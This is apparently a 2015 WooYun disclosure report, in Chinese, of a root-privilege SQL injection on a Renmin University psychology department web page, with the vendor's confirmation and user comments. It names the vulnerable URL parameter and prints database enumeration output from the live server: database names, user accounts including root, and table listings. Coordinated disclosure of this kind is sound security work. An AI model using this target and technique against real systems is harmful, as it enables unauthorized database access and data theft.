当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0100671

漏洞标题：中国人民大学某点root权限注入一枚

相关厂商：中国人民大学

漏洞作者： 爱上平顶山

提交时间：2015-03-11 14:27

修复时间：2015-04-25 14:28

公开时间：2015-04-25 14:28

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-11： 细节已通知厂商并且等待厂商处理中
2015-03-12： 厂商已经确认，细节仅向厂商公开
2015-03-22： 细节向核心白帽子及相关领域专家公开
2015-04-01： 细节向普通白帽子公开
2015-04-11： 细节向实习白帽子公开
2015-04-25： 细节向公众公开

简要描述：

中国人民大学来乌云注册了
我来第一个.

详细说明：

中国人民大学
点：
http://psy.ruc.edu.cn/facultyinfo.php?id=14

available databases [14]:
[*] demo_hanqing
[*] demo_hq2014
[*] demo_hq_bak
[*] demo_hqen
[*] demo_psycamp2014
[*] demo_psyweb
[*] hanqing_research
[*] hanqing_sign
[*] huazi
[*] information_schema
[*] mysql
[*] ocity
[*] performance_schema
[*] weixin_yingtao


database management system users [94]:
[*] 'demo_hanqing'@'localhost'
[*] 'demo_psyweb'@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'::1'
[*] 'root'@'localhost'


Database: demo_psyweb
+---------------------+---------+
| Table               | Entries |
+---------------------+---------+
| psycn_notice        | 52      |
| psycn_news          | 30      |
| psycn_teach         | 20      |
| psy_teach           | 18      |
| psycn_activity      | 7       |
| psy_news            | 6       |
| psycn_departfriends | 5       |
| psycn_downsort      | 4       |
| psy_admin           | 3       |
| psy_teachsort       | 3       |
| psycn_flash         | 3       |
| psycn_flink         | 3       |
| psycn_teachsort     | 3       |
| psy_activity        | 2       |
| psycn_edusort       | 2       |
| psy_about           | 1       |
| psy_contact         | 1       |
| psy_flash           | 1       |
| psy_internation     | 1       |
| psy_notice          | 1       |
| psy_project         | 1       |
| psy_research        | 1       |
| psycn_about         | 1       |
| psycn_admin         | 1       |
| psycn_contact       | 1       |
| psycn_internation   | 1       |
| psycn_labs          | 1       |
| psycn_recruit       | 1       |
| psycn_talents       | 1       |
+---------------------+---------+


哦了

漏洞证明：

··

修复方案：

过滤

版权声明：转载请注明来源 爱上平顶山@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2015-03-12 15:07

厂商回复：

非常感谢！~

最新状态：

暂无

漏洞评价：

评论

  1. 2015-03-11 14:31 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了，跪着也要...)

    这学校貌似之前漫游过。。

  2. 2015-03-11 14:38 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:2738 漏洞数:547 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)

    @泳少 大学都是漏洞一堆 看见注册了 随便看下

  3. 2015-03-11 14:40 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了，跪着也要...)

    @爱上平顶山 恩。

  4. 2015-03-11 16:37 | Y4ngshu ( 实习白帽子 | Rank:38 漏洞数:7 | 十年磨一剑。)

    - -存了多少啊

  5. 2015-03-11 17:30 | ki11y0u ( 普通白帽子 | Rank:104 漏洞数:23 | 好好学习，求带飞~~~~~~~~~~~~~~~~~~~~~~...)

    @爱上平顶山 大牛也搞EDU？

  6. 2015-03-11 17:38 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:2738 漏洞数:547 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)

    @ki11y0u @Y4ngshu 不搞 事不过三 不发了

  7. 2015-03-11 17:51 | ki11y0u ( 普通白帽子 | Rank:104 漏洞数:23 | 好好学习，求带飞~~~~~~~~~~~~~~~~~~~~~~...)

    @爱上平顶山 - .-

  8. 2015-03-11 18:07 | 大物期末不能挂 ( 普通白帽子 | Rank:132 漏洞数:23 | 1.一个学渣，只求每门都不挂2.想把漏洞提...)

    3月11日才注册。。。下午18点左右我这边已经登录不上首页了。。。。

  9. 2015-04-10 19:31 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势，学思路。)

    有个源码泄露。